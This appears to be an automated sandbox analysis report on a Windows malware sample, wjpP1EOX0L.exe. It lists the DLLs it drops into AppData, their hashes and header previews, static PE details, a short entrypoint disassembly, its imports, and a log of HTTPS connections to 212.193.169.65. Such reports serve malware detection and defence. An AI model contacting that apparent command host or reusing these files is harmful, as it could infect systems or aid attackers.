SHA-256:	ABF75DE674428E112F90F1C618218FF73EF851F4F09C5F5BA8B69E79A6C74DBF
SHA-512:	78F24F0812AAE31E83340ADEB1A1AE8C00EDFDF483E299706F863CB713BFDC2501B5418CE8F8BD9131E3C704BFFB58A8CA05C5E0A75EB19F15E0409C5B74E35B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............}...}...}.K....}.K..._.}.K.....}...~..}...y..}.......}...\|.W.}...x...}...x...}...}...}......}.......}.......}.Rich..}.................PE..L..."..[...........!.........x.......................................................,"...@.........................P.,.^....s-.P.....-.0.............".......-.....`.+.8...................@.+.......+.@............p-..............................textbss.T...............................text.......p...................... ..`.rdata....... '.....................@..@.data....`....-..@.... .............@....idata.......p-....... .............@..@.msvcjmc......-....... .............@....tls..........-....... .............@....00cfg........-....... .............@..@.rsrc...0.....-....... .............@..@.reloc........-....... .............@..B................................................................................

C:\Users\user\AppData\Roaming\im\libcrypto-1_1.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2533560
Entropy (8bit):	6.236092740507617
Encrypted:	false
SSDEEP:	49152:y+PXMbxU8+hh5Mitv70n8yT1CPwDv3uFfJEkyD9:y+PwEMit0n8A1CPwDv3uFfJC
MD5:	59A3B581020759D52538425A1F5A53D5
SHA1:	4E7C528EFEF2C42119C80EFE0AA994B7AA6D2AB6
SHA-256:	4C94F00150231420A0526E9949AC9F339EB04B16BC18CB8A11C7FD98DB1235D6
SHA-512:	9D30D8167E787FD4A82444BAAA3703920EC41CBE9C684010B63564DE04E00D590C8081006C68627B8297D2715194D4B80C23B959E554D42B2770664D1ED1B79E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[J...+...+...+...S#..+..MC...+..MC...+..MC...+..MC...+..DC...+...+...+...+...+...B..j)...B...+...BO..+...B...+..Rich.+..........PE..L.....7a...........!.....T...p......;H.......p................................'.......&...@...........................#..h....%.T.....&.\|.............&..$....&.L...0.".8...........................h.".@.............%..............................text...>S.......T.................. ..`.rdata.......p.......X..............@..@.data....Y...p%......X%.............@....idata..J.....%......n%.............@..@.00cfg........%.......%.............@..@.rsrc...\|.....&.......%.............@..@.reloc........&.......%.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\libcryptoMD.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2098416
Entropy (8bit):	6.277915381502377
Encrypted:	false
SSDEEP:	49152:Vkv4EyvQ/qpyr0kAYdQqqW6qvHewDe01CPwDv3uFR0b5YrpsJ:VkvXyvQ/qpyr0kAd66oewv1CPwDv3uFI
MD5:	1AFC9BD5E625E85B696141F62FBA4325
SHA1:	56FB325125F436D7408808446D58AF50F8AA3BFC
SHA-256:	83A1E3CBE242B978B9F55273B7B2648D0492B741FF561C0EC1C6AD9A4AEDAB47
SHA-512:	02C2CF9DBC319C2AAF324175CFD3E435824439F33B4CA697324F1B8FF4331D7BDE80DE46909FC629193EF02DEB40853E295B35DC2E3B094D116B5DD783919213
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+...x...x...x...x...x..,x...x...x...x...x...x(.8x...x...xT..x...x...x@s.x...x@s/x...x..(x...x@s-x...xRich...x................PE..L....<.Y...........!.....j...................................................` ....... ...@.............................1...c..x.................................. ...8............................w..@............`...............................text....i.......j.................. ..`.rdata..XA.......B...n..............@..@.data............Z..................@....idata..M....`......................@..@.rsrc...............................@..@.reloc..z............&..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\libcurl.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	546816
Entropy (8bit):	6.657309146326691
Encrypted:	false
SSDEEP:	12288:DEnhioDz6zv6pmEmE5A8K8ZOO2rKQrbdCPAEI:Dmbz+vomEBHbZO2YCBI
MD5:	13CD45DF8AAA584EBD2A40EDE76F1E06
SHA1:	BAA19E6A965621CB315E5F866EDC179EF1D6B863
SHA-256:	3FF4E80E327F298A11E116A517BE0963A0B3CD376A6A624CAFFACD586E6B1449
SHA-512:	285D7265AC05CECDD43650E5DEF9198B5F2F4D63665739BAA059598E41F4CE892248D3CA7E793AC274DC05B4C19CFA11C17FAEA62FC1E3495C94A03851049328
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z%...K..K..K..sH..K..sN...K..sO..K.4....K..sN..K..sO..K..sH..K..sJ..K..J.k.K..rO.>.K..rK..K..r...K.....K..rI..K.Rich..K.................PE..L......_...........!......................................................................@.............................0...0...x....@.......................P...H......................................@............................................text...D........................... ..`.rdata..ZQ.......R..................@..@.data...x+..........................@....rsrc........@......................@..@.reloc...H...P...J..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\libeay32.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1388688
Entropy (8bit):	6.85745413435775
Encrypted:	false
SSDEEP:	24576:vNaU+KpPikndiNfzN4jH3PlMQzMjYpOtJqTp/kqg1+:xlUfzN4jH3PlyjYpOLqd/kP1+
MD5:	3B838DC25E96877A1852966F75A5C44A
SHA1:	555E1830829B008D66FF591D87AC235F6286AB9A
SHA-256:	292C9367E5F978D2085192B85BCFEA7DF3A033172703BCCF1FF28A74D65D5AC1
SHA-512:	B5A7F05CD721FC75B77BB33528F746E865C2277A32F3AA312A974DE903A817B7C83E7698980A496B5D04595B21926E94CF9F70A15CD0882D57BA25014BA775D6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......lU.(4.y(4.y(4.y!L<y.4.y!L-y34.y(4.y.4.y...y#4.y(4.y=4.y!L;y.6.y!Ly)4.y!L,y)4.y!L)y)4.yRich(4.y................PE..L...#..]...........!.................................................................:...............................A.......6..x.......0...........................p...................................@...............(............................text............................... ..`.rdata..XY.......Z..................@..@.data............t..................@....rsrc...0............Z..............@..@.reloc..,............`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\libjpeg-turbo-win.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	713456
Entropy (8bit):	6.620067101616198
Encrypted:	false
SSDEEP:	12288:RPCS0cSUktNimb/JZqNFcbJ3bZJNlvI8CjBMUC6eVc4/SK:RPCS0c1ktNimbqYZJNlvVc4L
MD5:	96D413CAAF8C7793A96EF200F6695922
SHA1:	ABFB19A5BEA8724A08A3C709B68C65178E8EFBE5
SHA-256:	5C6E5346C4EF80E1DD211BD5519311ACA01025CE1D3811113A03E657938F370D
SHA-512:	93BF7AC89AE64948C3E91294DE89478B0F92D9CEFB71C803ABB324E181D783801C87DD6D806B0DB0D3737B3330E37993AE07B9B7D5AACCA9F9F5C3556E23EEE4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..k...k...k....%B.b....%@....%A.r...P..z...P..}...P..d...Fx.h...k...=...k...J......Y......j.....L.j...k.$.j......j...Richk...........PE..L...Q.xX...........!.........$.......P....................................... ............@.........................0....... ...(.......@........................8..0p..p............................p..@...............\............................text...9........................... ..`.rdata..............................@..@.data...(...........................@....gfids..d...........................@..@.rsrc...@...........................@..@.reloc...8.......:..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\libssl-1_1.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	541880
Entropy (8bit):	5.766958615909
Encrypted:	false
SSDEEP:	12288:ghUZvMdmP9OwMJvP2jkIgEIdwKADpiw7FCPU2lvzTNl:BhMsPG2udwLdigFyU2lvzTNl
MD5:	753B75570811052953F336261E3031BB
SHA1:	2244CCE49368180C1CF6BCA0C57DAEC71401C4F7
SHA-256:	603C5FD4E29C14DF02937DF765BF76E067A7A4706130D93F947106D0AE09A9DE
SHA-512:	6C81B813A79077E7157CF7F647A1F3C31A71098037C7003BC40B70E4AADAFCF490FDC01C71A26F8FED8C97BA33B41DF5B8A0D479DA951459CBD56421705813C5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............K...K...K..wK...K..J...K..J...K..J...K..J...K..J...K)..J...K...Km..K)..J...K)..J...K)..K...K)..J...KRich...K................PE..L.....7a...........!.........................................................p............@..........................)...N........... ..s............ ...$...0...5......8...........................H...@............................................text............................... ..`.rdata...g.......h..................@..@.data....;.......6...`..............@....idata..=A.......B..................@..@.00cfg..............................@..@.rsrc...s.... ......................@..@.reloc..`=...0...>..................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\mk7r31.bmp

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 168x299, components 3
Category:	dropped
Size (bytes):	8097
Entropy (8bit):	7.94099711365173
Encrypted:	false
SSDEEP:	192:E9NXj7fQ9/RRN0AinryQKGgjkrEQtxH1AYZ18r:E9NzjGkOujEQ3H1V8r
MD5:	2302BC48A162783A6A41C278B3F54145
SHA1:	8C3272769F604DC3AE6C6B98A29CC779532D1783
SHA-256:	1E5F58772571897E96CCA5ACB597DF65F8775E64D7031D6B2CCDBF22D5181F51
SHA-512:	465086DFF63176A864C0BC26BCCFA1FBBA0503F9AFD78A86C863C266469F54069D00BBB718440090A065EA92AD0DD42A67B6A6C99ED6B2378F6A721984A806A6
Malicious:	false
Preview:	......JFIF...................................................( ..&...!1!%)+.....383-7(-.+...........-! .--------------------------------------------------......+...."........................................@........................!1.A.."Qaq..2..#BR...3br........CS...s...............................(......................!.1.AQa".2Rq3...............?.........X..R\|.[..X[q....9$........Q.t.......E..Sv+9.[..a.......J..T..9@.F'..-...$..R.S.\...,.).T..+.T..My.S".]zt.....^.{.EXP.....i..z."].'..6G.H.kU.Q..W5..%i..F..n.{4 .n.m.B.O.h..#.=..$..\|...5..\|'Z......e?...y>6Z...]....]`..Q.<..)..=....H..N..Z.~....O..qL...j.<.......EE......6Z/P>,....P..i.\..PK.W...5..o.........2.\.t./....j8.3/...\|a-%.hx...v.}.Bw.Keck.{....c....G....Z..9o......h.m.Nj..."...j..:...T.n.*Ts........z...K.gl..?O:..F9. /./...,...>...........S.h...m.\..T....5R\|..p......cO..g\M.?....3...JB.......4..$....\|.[.Z...7...\|j..H..r...Y.xcs.e.;...'..%h?..\|fh..oV....j...y\gH.x8....'..8..Qe.G.^.c...^u.

C:\Users\user\AppData\Roaming\im\msvcr120.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970912
Entropy (8bit):	6.9649735952029515
Encrypted:	false
SSDEEP:	12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
MD5:	034CCADC1C073E4216E9466B720F9849
SHA1:	F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
SHA-256:	86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
SHA-512:	5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....\|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\opus.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	370488
Entropy (8bit):	6.86993159214619
Encrypted:	false
SSDEEP:	6144:wJ9LiOhPhz85popbbFb06wAQAwq961b/v9MkvCq2/JO+UxK6DvX0C7Uxm//f0Ps7:IBi8q5po9JkyICq2/z6DvsyEE5+PgAEX
MD5:	82E49683F540F78B2D1759CDE594482F
SHA1:	352DCBDBBB3C5C927B83389E2AB7F40B66EE716A
SHA-256:	55D99ECD7F821A4B2FE7E5A0B2CEA213DC79004C1DC413BD003F032C61080576
SHA-512:	F50A3BCD5905103EEC344D7DAF1C17896DF9039D3E8D5E9BBD771F1E235EC6045D626ED838C9BF3A8F7A66AA5F41F0743EA7D9BDEF7492DA8B36561089E126BF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k-...~...~...~.......~....l..~.......~.......~.......~.......~.......~...~...~]...k..~]......~]..~...~]......~Rich...~........PE..L....g._.........."!.................U....... ...................................... .....@..........................^......\h..(.......................8.......l....W...............................W..@............ ...............................text............................... ..`.rdata..6N... ...P..................@..@.data...8....p.......^..............@....rsrc................h..............@..@.reloc..l............j..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\im\quartz.dll

Download File

Process:	C:\Windows\SysWOW64\xcopy.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1074302464
Entropy (8bit):	0.0076066072746656796
Encrypted:	false
SSDEEP:
MD5:	F9EE295F34E22150DB8EDD2392482148
SHA1:	60B9700E56D3D79FB0B2DA7DE1E3B964AC4522A4
SHA-256:	5040D2F22275B4C59FA1D282440B228CA1327A66D5A82A9C6D313271EBAEE91E
SHA-512:	E8FFDF207E8FC62543D9FE51423053F4F762CFC9C5106A422E1A3F30D96478AEC34C9CE7E381DE2FBA3B0745D1A4723EDEC626528E8EB4C5898D58E764F674AA
Malicious:	true
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L...Q..c...........!...I.p........... ... ..........................................ru....@.....................................................................V....................................................................................edata..............................@..@.code...9o... ...p.................. ..`.data...9............v..............@....rdata..............................@..@.reloc..V...........................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.995848928313772
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	wjpP1EOX0L.exe
File size:	6'810'986 bytes
MD5:	34dc961fe0a98ea779d7b673a48c77a0
SHA1:	7f3cf770da67a60d60c79c82df85eef66eb80d8e
SHA256:	7ea97972b7a7e37bdc6993c7f00830040acf4ce957243abb85d6c1232baf30c0
SHA512:	c30c1dd3e4d9f532f5dcd06d95a426769cf9009fd42a1a735463a379d567475fb05708af09c2e79f9aca332b4c3803fc435017ee36e52741cff98790830ccdfb
SSDEEP:	98304:wasa2kc7PO6oUeKdwO3DpUKgtMnjdxspn/w1fdpgH4LDnVsF+U96vFJvulvy5QE1:PXUzF3DiKgx8fuKnVspq6leQE4qLxj
TLSH:	176633209BE24872FD9C1B748DA586507E233CAE05F1A8282FFCD56E05BB4559C37F92
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x4117dc
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x57051F88 [Wed Apr 6 14:39:04 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	20dd26497880c05caed9305b3c8b9109

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 00410144h
call 00007F86D451757Dh
xor eax, eax
push ebp
push 00411EBEh
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 00411E7Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [00415B48h]
call 00007F86D451FCC3h
call 00007F86D451F812h
cmp byte ptr [00412ADCh], 00000000h
je 00007F86D45227BEh
call 00007F86D451FDD8h
xor eax, eax
call 00007F86D4515615h
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F86D451C85Bh
mov edx, dword ptr [ebp-14h]
mov eax, 00418658h
call 00007F86D4515BEAh
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [00418658h]
mov dl, 01h
mov eax, dword ptr [0040C04Ch]
call 00007F86D451D172h
mov dword ptr [0041865Ch], eax
xor edx, edx
push ebp
push 00411E26h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F86D451FD36h
mov dword ptr [00418664h], eax
mov eax, dword ptr [00418664h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F86D45227FAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x19000	0xe04	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1c000	0xb200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1b000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x19304	0x214	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf244	0xf400	a33e9ff7181115027d121cd377c28c8f	False	0.5481717469262295	data	6.3752135040515485	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x11000	0xf64	0x1000	caec456c18277b579a94c9508daf36ec	False	0.55859375	data	5.732200666157372	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x12000	0xc88	0xe00	746954890499546d73dce0e994642192	False	0.2533482142857143	data	2.2967209087898324	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x13000	0x56bc	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x19000	0xe04	0x1000	e9b9c0328fd9628ad4d6ab8283dcb20e	False	0.321533203125	data	4.597812557707959	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x1a000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x1b000	0x18	0x200	3dffc444ccc131c9dcee18db49ee6403	False	0.05078125	data	0.2044881574398449	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1c000	0xb200	0xb200	c68efe629086e79e677a2d7600755b88	False	0.1776465941011236	data	4.139057824973333	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1c41c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Dutch	Netherlands	0.5675675675675675
RT_ICON	0x1c544	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	Dutch	Netherlands	0.4486994219653179
RT_ICON	0x1caac	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Dutch	Netherlands	0.4637096774193548
RT_ICON	0x1cd94	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	Dutch	Netherlands	0.3935018050541516
RT_STRING	0x1d63c	0x68	data			0.6538461538461539
RT_STRING	0x1d6a4	0xd4	data			0.5283018867924528
RT_STRING	0x1d778	0xa4	data			0.6524390243902439
RT_STRING	0x1d81c	0x2ac	data			0.45614035087719296
RT_STRING	0x1dac8	0x34c	data			0.4218009478672986
RT_STRING	0x1de14	0x294	data			0.4106060606060606
RT_RCDATA	0x1e0a8	0x82e8	data	English	United States	0.11261637622344235
RT_RCDATA	0x26390	0x10	data			1.5
RT_RCDATA	0x263a0	0x150	data			0.8392857142857143
RT_RCDATA	0x264f0	0x2c	data			1.1818181818181819
RT_GROUP_ICON	0x2651c	0x3e	data	English	United States	0.8387096774193549
RT_VERSION	0x2655c	0x4f4	data	English	United States	0.25630914826498424
RT_MANIFEST	0x26a50	0x62c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4240506329113924

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey
user32.dll	GetKeyboardType, LoadStringW, MessageBoxA, CharNextW
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetSystemInfo, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenW, lstrcpynW, LoadLibraryExW, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetLocaleInfoW, GetCommandLineW, FreeLibrary, FindFirstFileW, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle, CloseHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleW
user32.dll	CreateWindowExW, TranslateMessage, SetWindowLongW, PeekMessageW, MsgWaitForMultipleObjects, MessageBoxW, LoadStringW, GetSystemMetrics, ExitWindowsEx, DispatchMessageW, DestroyWindow, CharUpperBuffW, CallWindowProcW
kernel32.dll	WriteFile, WideCharToMultiByte, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, SizeofResource, SignalObjectAndWait, SetLastError, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, RemoveDirectoryW, ReadFile, MultiByteToWideChar, LockResource, LoadResource, LoadLibraryW, GetWindowsDirectoryW, GetVersionExW, GetVersion, GetUserDefaultLangID, GetThreadLocale, GetSystemInfo, GetSystemDirectoryW, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetLocaleInfoW, GetLastError, GetFullPathNameW, GetFileSize, GetFileAttributesW, GetExitCodeProcess, GetEnvironmentVariableW, GetDiskFreeSpaceW, GetCurrentProcess, GetCommandLineW, GetCPInfo, InterlockedExchange, InterlockedCompareExchange, FreeLibrary, FormatMessageW, FindResourceW, EnumCalendarInfoW, DeleteFileW, CreateProcessW, CreateFileW, CreateEventW, CreateDirectoryW, CloseHandle
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey, OpenProcessToken, LookupPrivilegeValueW
comctl32.dll	InitCommonControls
kernel32.dll	Sleep
advapi32.dll	AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 18:56:11.432239056 CET	49825	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:11.432286024 CET	443	49825	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:11.432380915 CET	49825	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:11.571480036 CET	49825	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:11.571520090 CET	443	49825	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:12.397347927 CET	443	49825	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:12.397428036 CET	49825	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:12.399642944 CET	49825	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:12.399656057 CET	443	49825	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:12.400054932 CET	443	49825	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:12.482558012 CET	49825	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:12.482917070 CET	49825	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:12.482947111 CET	443	49825	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:12.483010054 CET	49825	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:12.483017921 CET	443	49825	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:12.483063936 CET	49825	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:12.495984077 CET	49836	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:12.496040106 CET	443	49836	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:12.496377945 CET	49836	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:12.496841908 CET	49836	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:12.496862888 CET	443	49836	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:13.214344025 CET	443	49836	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:13.214436054 CET	49836	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:13.215898037 CET	49836	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:13.215905905 CET	443	49836	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:13.216243029 CET	443	49836	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:13.216919899 CET	49836	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:13.218395948 CET	49836	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:13.218787909 CET	443	49836	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:13.218898058 CET	49836	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:13.218929052 CET	443	49836	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:13.218981028 CET	443	49836	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:13.219034910 CET	49836	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:13.219058990 CET	49836	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:13.234390020 CET	49844	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:13.234436989 CET	443	49844	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:13.234503031 CET	49844	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:13.236056089 CET	49844	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:13.236073971 CET	443	49844	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.055160999 CET	443	49844	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.055318117 CET	49844	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.056607008 CET	49844	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.056612968 CET	443	49844	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.056962967 CET	443	49844	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.058372021 CET	49844	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.058829069 CET	49844	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.058868885 CET	443	49844	212.193.169.65	192.168.2.4
Nov 19, 2024 18:56:14.058932066 CET	49844	443	192.168.2.4	212.193.169.65
Nov 19, 2024 18:56:14.058995008 CET	443	49844	212.193.169.65	192.168.2.4
